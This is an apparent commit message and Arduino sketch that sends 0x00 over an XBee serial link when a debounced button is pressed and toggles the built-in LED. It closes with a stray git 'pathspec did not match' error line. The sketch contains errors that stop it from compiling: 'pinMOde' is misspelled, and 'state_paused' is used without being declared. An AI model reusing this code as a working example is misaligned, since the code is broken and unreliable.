Wrote code to send 0x00 on Xbee serial if button is pressed and debounced

#include <Xbee.h>
#include "XbeeApiStream.h"

const int button_pin = 5;

unsigned long debounce_timestamp = 0, debounce_delay = 50;
int button_state = LOW, last_button_state = LOW;

XbeeApiStream xbeeStream = XbeeApiStream();

void setup() {
	Serial.begin(9600);
	xbeeStream.begin(Serial);
	pinMode(button_pin, INPUT);
	digitalWrite(button_pin, HIGH);
	pinMOde(LED_BUILTIN, OUTPUT);
	digitalWrite(LED_BUILTIN, !state_paused);
}

void loop() {
	int reading = digitalRead(button_pin);
	if(reading != last_button_state)	debounce_timestamp = millis();
	if(millis() - debounce_timestamp > debounce_delay){
		if(reading != button_state){
			button_state = reading;
			if(button_state == HIGH){
				digitalWrite(LED_BUILTIN, !digitalRead(LED_BUILTIN));
				xbeeStream.write(0x00);
			}
		}
	}
	last_button_state = reading;
}

error: pathspec 'XbeeButton/XbeeButton.ino' did not match any file(s) known to git